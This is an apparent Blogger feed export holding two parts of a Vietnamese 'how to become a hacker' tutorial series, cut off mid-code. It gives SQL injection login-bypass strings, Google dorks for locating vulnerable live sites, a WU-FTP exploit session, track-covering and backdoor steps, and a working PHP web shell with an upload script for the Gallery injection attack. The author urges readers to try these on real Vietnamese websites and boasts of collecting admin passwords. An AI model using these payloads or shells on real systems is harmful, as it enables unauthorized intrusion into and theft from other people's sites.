10:50:09 ICT 2001 i686 unknown&lt;br /&gt;&lt;br /&gt;_ Lệnh id : xem uid/gid hiện tại ( xem nhóm và tên hiện tại )&lt;br /&gt;&lt;br /&gt;_ Lệnh w : xem các user đang login và action của họ trên hệ thống .&lt;br /&gt;Ví Dụ : $w nó sẽ đưa ra thông tin sau :&lt;br /&gt;&lt;br /&gt;10:31pm up 25 days, 4:07, 18 users, load average: 0.06, 0.01, 0.00&lt;br /&gt;&lt;br /&gt;_ Lệnh ps: xem thông tin các process trên hệ thống&lt;br /&gt;Ví dụ : $ps axuw&lt;br /&gt;_ Lệnh cd : bạn muốn di chuyển đến thư mục nào . phải nhờ đến lệnh này .&lt;br /&gt;Ví du : $ cd /usr/bin ---- &gt; nó sẽ đưa bạn đến thư mục bin&lt;br /&gt;_ Lệnh mkdir : tạo 1 thư mục .&lt;br /&gt;Ví dụ : $ mkdir /home/convit --- &gt; nó sẽ tạo 1 thư mục convit trong /home&lt;br /&gt;_ Lệnh rmdir : gỡ bỏ thư mục&lt;br /&gt;Ví dụ : $ rmdir /home/conga ---- &gt; nó sẽ gỡ bỏ thư mục conga trong /home .&lt;br /&gt;_ Lệnh ls: liệt kê nội dung thư mục&lt;br /&gt;Ví dụ : $ls -laR /&lt;br /&gt;_ Lệnh printf: in dữ liệu có định dạng, giống như sử dựng printf() của C++ .&lt;br /&gt;Ví dụ : $printf %s ``\x41\x41\x41\x41``&lt;br /&gt;_ Lệnh pwd: đưa ra thư mục hiện hành&lt;br /&gt;Ví dụ : $pwd ------ &gt; nó sẽ cho ta biết vị trí hiện thời của ta ở đâu : /home/level1&lt;br /&gt;_ Các lệnh : cp, mv, rm có nghĩa là : copy, move, delete file&lt;br /&gt;Ví dụ với lệnh rm (del) : $rm -rf /var/tmp/blah ----- &gt; nó sẽ del file blah .&lt;br /&gt;Làm tương tự đối với các lệnh cp , mv .&lt;br /&gt;_ Lệnh find : tìm kiếm file, thư mục&lt;br /&gt;Ví dụ : $find / -user level2&lt;br /&gt;_ Lệnh grep: công cụ tìm kiếm, cách sử dụng đơn giản nhất : grep ``something``&lt;br /&gt;Vidu : $ps axuw | grep ``level1``&lt;br /&gt;_ Lệnh Strings: in ra tất cả các ký tự in được trong 1 file. Dùng nó để tìm các khai báo hành chuỗi trong chương trình, hay các gọi hàm hệ thống, có khi tìm thấy cả password nữa&lt;br /&gt;VD: $strings /usr/bin/level1&lt;br /&gt;_ Lệnh strace: (linux) trace các gọi hàm hệ thống và signal, cực kỳ hữu ích để theo dõi flow của chương trình, cách nhanh nhất để xác định chương trình bị lỗi ở đoạn nào. Trên các hệ thống unix khác, tool tương đương là truss, ktrace .&lt;br /&gt;Ví dụ : $strace /usr/bin/level1&lt;br /&gt;_ Lệnh`` cat, more ``: in nội dung file ra màn hình&lt;br /&gt;&lt;br /&gt;$cat /etc/passwd | more -- &gt; nó sẽ đưa ra nội dung file passwd một cách nhanh nhất .&lt;br /&gt;$more /etc/passwd ---- &gt; Nó sẽ đưa ra nội dung file passwd một cách từ từ .&lt;br /&gt;&lt;br /&gt;_ Lệnh hexdump : in ra các giá trị tương ứng theo ascii, hex, octal, decimal của dữ liệu nhập vào .&lt;br /&gt;Ví dụ : $echo AAAA | hexdump&lt;br /&gt;_ Lệnh : cc, gcc, make, gdb: các công cụ biên dịch và debug .&lt;br /&gt;Ví dụ : $gcc -o -g bof bof.c&lt;br /&gt;Ví dụ : $make bof&lt;br /&gt;Ví dụ : $gdb level1&lt;br /&gt;(gdb) break main&lt;br /&gt;(gdb) run&lt;br /&gt;_ Lệnh perl: một ngôn ngữ&lt;br /&gt;Ví dụ : $perl -e `print ``A``x1024` | ./bufferoverflow ( Lỗi tràn bộ đệm khi ta đánh vào 1024 kí tự )&lt;br /&gt;_ Lệnh ``bash`` : đã đến lúc tự động hoá các tác vụ của bạn bằng shell script, cực mạnh và linh hoạt .&lt;br /&gt;Bạn muốn tìm hiểu về bash , xem nó như thế nào :&lt;br /&gt;$man bash&lt;br /&gt;_ Lệnh ls : Xem nội dung thư mục ( Liệt kê file trong thư mục ) .&lt;br /&gt;Ví Dụ : $ ls /home ---- &gt; sẽ hiện toàn bộ file trong thư mục Home&lt;br /&gt;$ ls -a ----- &gt; hiện toàn bộ file , bao gồm cả file ẩn&lt;br /&gt;$ ls -l ----- &gt; đưa ra thông tin về các file&lt;br /&gt;_ Lệnh ghi dữ liệu đầu ra vào 1 file :&lt;br /&gt;Vídụ : $ ls /urs/bin &gt; ~/convoi ------ &gt; ghi dữ liệu hiển thị thông tin của thư mục bin vào 1 file convoi .&lt;br /&gt;&lt;br /&gt;34 . ) Những hiểu biết cơ bản xung quanh Linux :&lt;br /&gt;&lt;br /&gt;a . ) Một vài thư mục quan trọng trên server :&lt;br /&gt;&lt;br /&gt;_ /home : nơi lưu giữ các file người sử dụng ( VD : người đăng nhập hệ thống có tên là convit thì sẽ có 1 thư mục là /home/convit )&lt;br /&gt;_ /bin : Nơi xử lý các lệnh Unix cơ bản cần thiết như ls chẳng hạn .&lt;br /&gt;_ /usr/bin : Nơi xử lý các lệnh dặc biệt khác , các lệnh dùng bởi người sử dụng đặc biệt và dùng quản trị hệ thống .&lt;br /&gt;_ /bot : Nơi mà kernel và các file khác được dùng khi khởi động .&lt;br /&gt;_ /ect : Các file hoạt động phụ mạng , NFS (Network File System ) Thư tín ( Đây là nơi trọng yếu mà chúng ta cần khai thác nhiều nhất )&lt;br /&gt;_ /var : Các file quản trị&lt;br /&gt;_ /usr/lib : Các thư viện chuẩn như libc.a&lt;br /&gt;_ /usr/src : Vị trí nguồn của các chương trình .&lt;br /&gt;&lt;br /&gt;b . ) Vị trí file chứa passwd của một số phiên bản khác nhau :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;AIX 3 /etc/security/passwd !/tcb/auth/files//&lt;br /&gt;A/UX 3.0s /tcb/files/auth/?/*&lt;br /&gt;BSD4.3-Ren /etc/master.passwd *&lt;br /&gt;ConvexOS 10 /etc/shadpw *&lt;br /&gt;ConvexOS 11 /etc/shadow *&lt;br /&gt;DG/UX /etc/tcb/aa/user/ *&lt;br /&gt;EP/IX /etc/shadow x&lt;br /&gt;HP-UX /.secure/etc/passwd *&lt;br /&gt;IRIX 5 /etc/shadow x&lt;br /&gt;Linux 1.1 /etc/shadow *&lt;br /&gt;OSF/1 /etc/passwd[.dir|.pag] *&lt;br /&gt;SCO Unix #.2.x /tcb/auth/files//&lt;br /&gt;SunOS4.1+c2 /etc/security/passwd.adjunct ##username&lt;br /&gt;SunOS 5.0 /etc/shadow&lt;br /&gt;System V Release 4.0 /etc/shadow x&lt;br /&gt;System V Release 4.2 /etc/security/* database&lt;br /&gt;Ultrix 4 /etc/auth[.dir|.pag] *&lt;br /&gt;UNICOS /etc/udb *&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;35 . ) Khai thác lỗi của Linux qua lỗ hổng bảo mật của WU-FTP server :&lt;br /&gt;&lt;br /&gt;_ WU-FTP Server (được phát triển bởi đại Học Washington ) là một phần mềm Server phục vụ FTP được dùng khá phổ biến trên các hệ thống Unix &amp; Linux ( tất cả các nhà phân phối: Redhat, Caldera, Slackware, Suse, Mandrake....) và cả Windows.... , các hacker có thể thực thi các câu lệnh của mình từ xa thông qua file globbing bằng cách ghi đè lên file có trên hệ thống .&lt;br /&gt;_ Tuy nhiên , việc khai thác lỗi này không phảI là dễ vì nó phải hội đủ những điều kiện sau :&lt;br /&gt;+ Phải có account trên server .&lt;br /&gt;+ Phải đặt được Shellcode vào trong bộ nhớ Process của Server .&lt;br /&gt;+ Phải gửi một lệnh FTP đặc biệt chứa đựng một globbing mẫu đặc biệt mà không bị server phát hiện có lỗi .&lt;br /&gt;+ Hacker sẽ ghi đè lên một Function, Code tới một Shellcode, có thể nó sẽ được thực thi bới chính Server FTP .&lt;br /&gt;_ Ta hãy phân tích VD sau về việc ghi đè lên file của server FTP :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;ftp &gt; open localhost &lt;== lệnh mở trang bị lỗi .&lt;br /&gt;Connected to localhost (127.0.0.1).&lt;br /&gt;220 sasha FTP server (Version wu-2.6.1-18) ready &lt;== xâm nhập thành công FTP server .&lt;br /&gt;Name (localhost:root): anonymous &lt;== Nhập tên chỗ này&lt;br /&gt;331 Guest login ok, send your complete e-mail address as password.&lt;br /&gt;Password:………..&lt;== nhập mật khẩu ở đây&lt;br /&gt;230 Guest login ok, access restrictions apply.&lt;br /&gt;Remote system type is UNIX.&lt;br /&gt;Using binary mode to transfer files. &lt;== sử dụng biến nhị phân để chuyển đổi file .&lt;br /&gt;ftp &gt; ls ~{ &lt;== lệnh liệt kê thư mục hiện hành .&lt;br /&gt;227 Entering Passive Mode (127,0,0,1,241,205)&lt;br /&gt;421 Service not available, remote server has closed connection&lt;br /&gt;1405 ? S 0:00 ftpd: accepting connections on port 21 ç chấp nhận kết nốI ở cổng 21 .&lt;br /&gt;7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd&lt;br /&gt;26256 ? S 0:00 ftpd:&lt;br /&gt;sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&lt;br /&gt;26265 tty3 R 0:00 bash -c ps ax | grep ftpd&lt;br /&gt;(gdb) at 26256&lt;br /&gt;Attaching to program: /usr/sbin/wu.ftpd, process 26256 &lt;== khai thác lỗi Wu.ftpd .&lt;br /&gt;Symbols already loaded for /lib/libcrypt.so.1&lt;br /&gt;Symbols already loaded for /lib/libnsl.so.1&lt;br /&gt;Symbols already loaded for /lib/libresolv.so.2&lt;br /&gt;Symbols already loaded for /lib/libpam.so.0&lt;br /&gt;Symbols already loaded for /lib/libdl.so.2&lt;br /&gt;Symbols already loaded for /lib/i686/libc.so.6&lt;br /&gt;Symbols already loaded for /lib/ld-linux.so.2&lt;br /&gt;Symbols already loaded for /lib/libnss_files.so.2&lt;br /&gt;Symbols already loaded for /lib/libnss_nisplus.so.2&lt;br /&gt;Symbols already loaded for /lib/libnss_nis.so.2&lt;br /&gt;0x40165544 in __libc_read () from /lib/i686/libc.so.6&lt;br /&gt;(gdb) c&lt;br /&gt;Continuing.&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;__libc_free (mem=0x61616161) at malloc.c:3136&lt;br /&gt;3136 in malloc.c&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Việc khai thác qua lỗi này đến nay tôi test vẫn chưa thành công ( chẳng biết làm sai chỗ nào ) . Vậy bạn nào làm được hãy post lên cho anh em biết nhé .&lt;br /&gt;Lỗi Linux hiện nay rất ít ( đặc biệt là đối với Redhat ), các bạn hãy chờ đợi nếu có lỗi gì mới thì bên “LỗI bảo mật” sẽ cập nhật ngay . Khai thác chúng như thế nào thì hỏi Mod quản lý bên đó , đặc biệt là bạn Leonhart , cậu ta siêng trả lời các bạn lắm .&lt;br /&gt;&lt;br /&gt;( Dựa theo bài viết của huynh Binhnx2000 )&lt;br /&gt;&lt;br /&gt;36 . ) Tìm hiểu về SQL Injection :&lt;br /&gt;&lt;br /&gt;_ SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, thi hành lệnh từ xa, đoạt dữ liệu và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...&lt;br /&gt;_ Bạn có thể kiếm được trang Web bị lỗi bằng cách dùng các công cụ tìm kiếm để kiếm các trang cho phép submit dữ liệu . Một số trang Web chuyển tham số qua các khu vực ẩn nên bạn phảI viewsource mớI thấy được . VD ta xác định được trang này sử dụng Submit dữ liệu nhờ nhìn vào mã mà ta đã viewsource :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;input type=hidden name=A value=C &gt;&lt;br /&gt;&lt;br /&gt;_ Kiểm tra thử xem trang Web có bị lỗi này hay không bằng cách nhập vào login và pass lân lượt như sau :&lt;br /&gt;&lt;br /&gt;- Login: hi` or 1=1--&lt;br /&gt;- Pass: hi` or 1=1--&lt;br /&gt;&lt;br /&gt;Nếu không được bạn thử tiếp với các login và pass sau :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;` or 1=1--&lt;br /&gt;`` or 1=1--&lt;br /&gt;or 1=1--&lt;br /&gt;` or `a`=`a&lt;br /&gt;`` or ``a``=``a&lt;br /&gt;`) or (`a`=`a&lt;br /&gt;&lt;br /&gt;Nếu thành công, bạn có thể login vào mà không cần phải biết username và password .&lt;br /&gt;Lỗi này có dính dáng đến Query nên nếu bạn nào đã từng học qua cơ sở dữ liệu có thể khai thác dễ dàng chỉ bằng cách đánh các lệnh Query trên trình duyệt của các bạn . Nếu các bạn muốn tìm hiểu kỹ càng hơn về lỗi này có thể tìm các bài viết của nhóm vicky để tìm hiểu thêm .&lt;br /&gt;&lt;br /&gt;37 . ) Một VD về hack Web thông qua lỗi admentor ( Một dạng của lỗi SQL Injection ) :&lt;br /&gt;&lt;br /&gt;_ Trước tiên bạn vào google.com tìm trang Web admentor bằng từ khoá “allinurl : admentor” .&lt;br /&gt;_ Thông thường bạn sẽ có kết quả sau :&lt;br /&gt;&lt;br /&gt;http://www.someserver.com/admentor /admin/admin.asp&lt;br /&gt;&lt;br /&gt;_ Bạn thử nhập “ ` or ``=` ” vào login và password :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;Login : ` or ``=`&lt;br /&gt;Password : ` or ``=`&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_ Nếu thành công bạn sẽ xâm nhập vào Web bị lỗi với vai trò là admin .&lt;br /&gt;_ Ta hãy tìm hiểu về cách fix lỗi này nhé :&lt;br /&gt;+ Lọc các ký tự đặc biệt như “ ` `` ~ \ ” bằng cách chêm vào javascrip đoạn mã sau :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;function RemoveBad(strTemp)&lt;br /&gt;{&lt;br /&gt;strTemp = strTemp.replace(/\&lt;|\ &gt; |\``|\`|\%|\;|\(|\)|\&amp;|\+|&lt;br /&gt;\-/g,````);&lt;br /&gt;return strTemp;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;+ Và gọi nó từ bên trong của asp script :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;var login = var TempStr = RemoveBad&lt;br /&gt;(Request.QueryString(``login``));&lt;br /&gt;var password = var TempStr = RemoveBad&lt;br /&gt;(Request.QueryString(``password``));&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- Vậy là ta đã fix xong lỗi .&lt;br /&gt;&lt;br /&gt;- Các bạn có thể áp dụng cách hack này cho các trang Web khác có submit dữ liệu , các bạn hãy test thử xem đi , các trang Web ở Việt Nam mình bị nhiều lắm , tôi đã kiếm được kha khá pass admin bằng cách thử này rồi ( nhưng cũng đã báo để họ fix lại ) .&lt;br /&gt;- Có nhiều trang khi login không phải bằng “ ` or ``=’ ” mà bằng các nick name có thật đã đăng ký trên trang Web đó , ta vào link “thành viên” kiếm nick của một admin để test thử nhé .&lt;br /&gt;Hack vui vẻ .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ở phần 6 tôi sẽ đề cập đến kiểu tấn công từ chối dịch vụ ( DoS attack ) , một kiểu tấn công lợi hại đã làm cho trang Web hùng mạnh như HVA của chúng ta bị tắt nghẽn chỉ trong thờI gian ngắn các admin bận đi uống cafe hết mà không ai trông coi . Kèm theo đó là các phương pháp tấn công DoS đã và đang được sử dụng .&lt;br /&gt;&lt;br /&gt;GOOKLUCK!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;&lt;br /&gt;( Hết phần 5 )&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-6067663195832568325?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/6067663195832568325/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=6067663195832568325' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/6067663195832568325'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/6067663195832568325'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/06/nhng-hiu-bit-c-bn-tr-thnh-hacker-phn-v.html' title='Những Hiểu Biết Cơ Bản Để Trở Thành Hacker (phần V)'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-6863785086314231396</id><published>2007-06-19T01:16:00.001-07:00</published><updated>2007-06-19T01:16:29.779-07:00</updated><title type='text'>Những Hiểu Biết Cơ Bản Để Trở Thành Hacker (phần IV)</title><content type='html'>Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 4&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;26 . ) Tìm hiểu về RPC (Remote Procedure Call) :&lt;br /&gt;&lt;br /&gt;_ Windows NT cung cấp khả năng sử dụng RPC để thực thi các ứng dụng phân tán . Microsoft RPC bao gồm các thư viện và các dịch vụ cho phép các ứng dụng phân tán hoạt động được trong môi trường Windows NT. Các ứng dụng phân tán chính bao gồm nhiều tiến trình thực thi với nhiệm vụ xác định nào đó. Các tiến trình này có thể chạy trên một hay nhiều máy tính.&lt;br /&gt;&lt;br /&gt;_Microsoft RPC sử dụng name service provider để định vị Servers trên mạng. Microsoft RPC name service provider phải đi liền với Microsoft RPC name service interface (NIS). NIS bao bao gồm các hàm API cho phép truy cập nhiều thực thể trong cùng một name service database (name service database chứa các thực thể, nhóm các thực thể, lịch sử các thực thể trên Server).&lt;br /&gt;Khi cài đặt Windows NT, Microsoft Locator tự động được chọn như là name service provider. Nó là name service provider tối ưu nhất trên môi trường mạng Windows NT.&lt;br /&gt;&lt;br /&gt;27 . ) Kỹ thuật đơn giản để chống lại sự xâm nhập trái phép khi đang online thông qua RPC (Remote Procedure Call) :&lt;br /&gt;&lt;br /&gt;_ Nếu bạn nghi ngờ máy của mình đang có người xâm nhập hoặc bị admin remote desktop theo dõi , bạn chỉ cần tắt chức năng remote procedure call thì hiện tại không có chương trình nào có thể remote desktop để theo dõi bạn được . Nó còn chống được hầu hết tools xâm nhập vào máy ( vì đa số các tools viết connect dựa trên remote procedure call ( over tcp/ip )).Các trojan đa số cũng dựa vào giao thức này.&lt;br /&gt;&lt;br /&gt;Cách tắt: Bạn vào service /remote procedure call( click chuột phải ) chọn starup typt/disable hoặc manual/ apply.&lt;br /&gt;&lt;br /&gt;Đây là cách chống rất hữu hiệu với máy PC , nếu thêm với cách tắt file sharing thì rất khó bị hack ) ,nhưng trong mạng LAN bạn cũng phiền phức với nó không ít vì bạn sẽ không chạy được các chương trình có liên quan đến thiết bị này . Tùy theo cách thức bạn làm việc mà bạn có cách chọn lựa cho hợp lý . Theo tôi thì nếu dùng trong mạng LAN bạn hãy cài một firewall là chắc chắn tương đối an toàn rồi đó .&lt;br /&gt;&lt;br /&gt;( Dựa theo bài viết của huynh “Đời như củ khoai ” khoaimi – admin của HVA )&lt;br /&gt;&lt;br /&gt;28 . ) Những bước để hack một trang web hiện nay :&lt;br /&gt;&lt;br /&gt;_ Theo liệt kê của sách Hacking Exposed 3 thì để hack một trang Web thông thường ta thực hiện những bước sau :&lt;br /&gt;+ FootPrinting : ( In dấu chân )&lt;br /&gt;Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy chủ/doanh nghiệp/người dùng. Nó bao gồm chi tiết về địa chỉ IP, Whois, DNS ..v.v đại khái là những thong tin chính thức có lien quan đến mục tiêu. Nhiều khi đơn giản hacker chỉ cần sử dụng các công cụ tìm kiếm trên mạng để tìm những thong tin đó.&lt;br /&gt;+ Scanning : ( Quét thăm dò )&lt;br /&gt;Khi đã có những thông tin đó rồi, thì tiếp đến là đánh giá và định danh những những dịch vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác định hệ điều hành, .v.v.. Các công cụ được sử dụng ở đây như nmap, WS pingPro, siphon, fscam và còn nhiều công cụ khác nữa.&lt;br /&gt;+ Enumeration : ( liệt kê tìm lỗ hổng )&lt;br /&gt;Bước thứ ba là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài khoản người dùng mà có thể sử dụng để xâm nhập. Nó bao gồm các mật khẩu mặc định, các script và dịch vụ mặc định. Rât nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại các giá trị này.&lt;br /&gt;+ Gaining Access: ( Tìm cách xâm nhập )&lt;br /&gt;Bây giờ kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thông tin có được ở ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm, lấy và giải mã file password, hay thô thiển nhất là brute force (kiểm tra tất cả các trường hợp) password. Các công cụ thường được sử dụng ở bước này là NAT, podium, hoặc L0pht.&lt;br /&gt;+ Escalating Privileges : ( Leo thang đặc quyền )&lt;br /&gt;Ví dụ trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản guest, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách crack password của admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền. John và Riper là hai chương trình crack password rất hay được sử dụng.&lt;br /&gt;+ Pilfering : ( Dùng khi các file chứa pass bị sơ hở )&lt;br /&gt;Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương pháp truy cập vào mạng. Những file text chứa password hay các cơ chế không an toàn khác có thể là mồi ngon cho hacker.&lt;br /&gt;+ Covering Tracks : ( Xoá dấu vết )&lt;br /&gt;Sau khi đã có những thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập hoặc có biêt cũng không tìm ra kẻ xâm nhập là ai.&lt;br /&gt;+ Creating ``Back Doors`` : ( Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo được dễ dàng hơn )&lt;br /&gt;Hacker để lại ``Back Doors``, tức là một cơ chế cho phép hacker truy nhập trở lại bằng con đường bí mật không phải tốn nhiều công sức, bằng việc cài đặt Trojan hay tạo user mới (đối với tổ chức có nhiều user). Công cụ ở đây là các loại Trojan, keylog…&lt;br /&gt;+ Denial of Service (DoS) : ( Tấn công kiểu từ chối dịch vụ )&lt;br /&gt;Nêu không thành công trong việc xâm nhập, thì DoS là phương tiện cuối cùng để tấn công hệ thống. Nếu hệ thống không được cấu hình đúng cách, nó sẽ bị phá vỡ và cho phép hacker truy cập. Hoặc trong trường hợp khác thì DoS sẽ làm cho hệ thống không hoạt động được nữa. Các công cụ hay được sử dụng để tấn công DoS là trin00, Pong Of Death, teardrop, các loại nuker, flooder . Cách này rất lợi hại , và vẫn còn sử dụng phổ biến hiện nay .&lt;br /&gt;_ Tuỳ theo hiểu biết và trình độ của mình mà một hacker bỏ qua bước nào . Không nhất thiết phảI làm theo tuần tự . Các bạn hãy nhớ đến câu “ biết người biết ta trăm trận trăm thắng ” .&lt;br /&gt;&lt;br /&gt;( Tài liệu của HVA và hackervn.net )&lt;br /&gt;&lt;br /&gt;29 . ) Cách tìm các Website bị lỗi :&lt;br /&gt;&lt;br /&gt;_ Chắc các bạn biết đến các trang Web chuyên dùng để tìm kiếm thông tin trên mạng chứ ? Nhưng các bạn chắc cũng không ngờ là ta có thể dùng những trang đó để tìm những trang Web bị lỗi ( Tôi vẫn thường dùng trang google.com và khuyên các bạn cũng nên dùng trang này vì nó rất mạnh và hiệu quả ) .&lt;br /&gt;_ Các bạn quan tâm đến lỗi trang Web và muốn tìm chúng bạn chỉ cần vào google.com và đánh đoạn lỗi đó vào sau “allinurl : ” . VD ta có đoạn mã lỗi trang Web sau :&lt;br /&gt;&lt;br /&gt;cgi-bin/php.cgi?/etc/passwd&lt;br /&gt;&lt;br /&gt;các bạn sẽ đánh :&lt;br /&gt;&lt;br /&gt;“allinurl:cgi-bin/php.cgi?/etc/passwd”&lt;br /&gt;&lt;br /&gt;Nó sẽ liệt kê ra những trang Web đang bị lỗi này cho các bạn , các bạn hãy nhìn xuống dưới cùng của mỗi mẫu liệt kê ( dòng địa chỉ màu xanh lá cây ) nếu dòng nào viết y chang từ khoá mình nhập vào thì trang đó đã hoặc đang bị lỗi .Các bạn có xâm nhập vào được hay không thì cũng còn tuỳ vào trang Web đó đã fix lỗi này hay chưa nữa .&lt;br /&gt;_ Các bạn quan tâm đến lỗi forum , các bạn muốn tìm forum dạng này để thực tập , chỉ cần nhập từ khoá&lt;br /&gt;&lt;br /&gt;powered by&lt;br /&gt;&lt;br /&gt;VD sau là để tìm forum dùng Snitz 2000 :&lt;br /&gt;&lt;br /&gt;powered by Snitz 2000&lt;br /&gt;&lt;br /&gt;_ Tuy nhiên , việc tìm ra đúng forum hoặc trang Web bị lỗi theo cách đó có xác suất không cao , bạn hãy quan tâm đến đoạn string đặc biệt trong URL đặc trưng cho từng kiểu trang Web hoặc forum đó ( cái này rất quan trọng , các bạn hãy tự mình tìm hiểu thêm nhé ) . VD tìm với lỗi Hosting Controller thì ta sẽ có đoạn đặc trưng sau&lt;br /&gt;&lt;br /&gt;``/admin hay /advadmin hay /hosting``&lt;br /&gt;&lt;br /&gt;ta hãy đánh từ khoá :&lt;br /&gt;&lt;br /&gt;allinurl:/advadmin&lt;br /&gt;hoặc allinurl:/admin&lt;br /&gt;hoặc allinurl:/hosting&lt;br /&gt;&lt;br /&gt;Nó sẽ liệt kê ra các trang Web có URL dạng :&lt;br /&gt;&lt;br /&gt;http://tentrangweb.com/advadmin&lt;br /&gt;hoặc http://tentrangweb.com/admin&lt;br /&gt;hoặc http://tentrangweb.com/hosting&lt;br /&gt;&lt;br /&gt;VD với forum UBB có đoạn đặc trưng&lt;br /&gt;&lt;br /&gt;``cgi-bin/ultimatebb.cgi?``&lt;br /&gt;&lt;br /&gt;Ta cũng tìm tương tự như trên .&lt;br /&gt;Chỉ cần bạn biết cách tìm như vậy rồi thì sau này chỉ cần theo dõi thông tin cập nhật bên trang “Lỗi bảo mật” của HVA do bạn LeonHart post hằng ngày các bạn sẽ hiểu được ý nghĩa của chúng và tự mình kiểm tra .&lt;br /&gt;&lt;br /&gt;30 . ) Kỹ thuật hack Web thông qua lỗi Gallery ( một dạng của lỗi php code inject ):&lt;br /&gt;&lt;br /&gt;_ Gallery là một công cụ cho phép tạo một gallery ảnh trên web được viết bằng PHP , lợi dụng sơ hở này ta có thể lợi dụng để viết thêm vào đó một mã PHP cho phép ta upload , đó chính là mục đích chính của ta .&lt;br /&gt;_ Trước hết bạn hãy đăng ký một host miễn phí , tốt nhất là bạn đăng ký ở brinkster.com cho dễ . Sau đó bạn mở notepad và tạo file PHP với đoạn mã sau :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;?php&lt;br /&gt;global $PHP_SELF;&lt;br /&gt;echo ``&lt;br /&gt;&lt;form method=post action=$PHP_SELF?$QUERY_STRING &gt;&lt;br /&gt;&lt;input type=text name=shell size=40 &gt;&lt;br /&gt;&lt;input type=hidden name=act value=shell &gt;&lt;br /&gt;&lt;input type=submit value=Go name=sm &gt;&lt;br /&gt;``;&lt;br /&gt;set_magic_quotes_runtime(1);&lt;br /&gt;if ($act == ``shell``) {&lt;br /&gt;echo ``\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n&lt; xmp &gt; ``;&lt;br /&gt;system($shell);&lt;br /&gt;echo ``&lt;br /&gt;&lt;br /&gt;\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n``; }&lt;br /&gt;echo `` ``;&lt;br /&gt;? &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Đoạn mã này bạn hãy tạo làm 2 file có tên khác nhau ( nhưng cùng chung một mã ) và đặt tên là :&lt;br /&gt;+ shellphp.php : file này dùng để chạy shell trên victim host .&lt;br /&gt;+ init.php : file này dùng để upload lên trang có host bạn vừa tạo . ( Bạn hãy upload file init.php này lên sớm vì ta sẽ còn sử dụng nó nhưng với đoạn mã khác , bạn quên upload file này lên là tiêu )&lt;br /&gt;&lt;br /&gt;Bạn hãy tạo thêm một file PHP với mã sau :&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;?php&lt;br /&gt;function handleupload() {&lt;br /&gt;if (is_uploaded_file($_FILES[`userfile`][`tmp_name`])) {&lt;br /&gt;$filename = $_FILES[`userfile`][`tmp_name`];&lt;br /&gt;print ``$filename was uploaded successfuly``;&lt;br /&gt;$realname = $_FILES[`userfile`][`name`];&lt;br /&gt;print ``realname is $realname\n``;&lt;br /&gt;print ``copying file to uploads dir ``.$realname;&lt;br /&gt;copy($_FILES[`userfile`][`tmp_name`],*PATH*.$realna me); // lưu ý *PATH* chúng ta sẽ thay đổi sau&lt;br /&gt;} else {&lt;br /&gt;echo ``Possible file upload attack: filename``.$_FILES[`userfile`][`name`].``.``;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;if ($act == ``upload``) {&lt;br /&gt;handleupload();&lt;br /&gt;}&lt;br /&gt;echo ``&lt;br /&gt;&lt;form ENCTYPE=multipart/form-data method=post action=$PHP_SELF?$QUERY_STRING 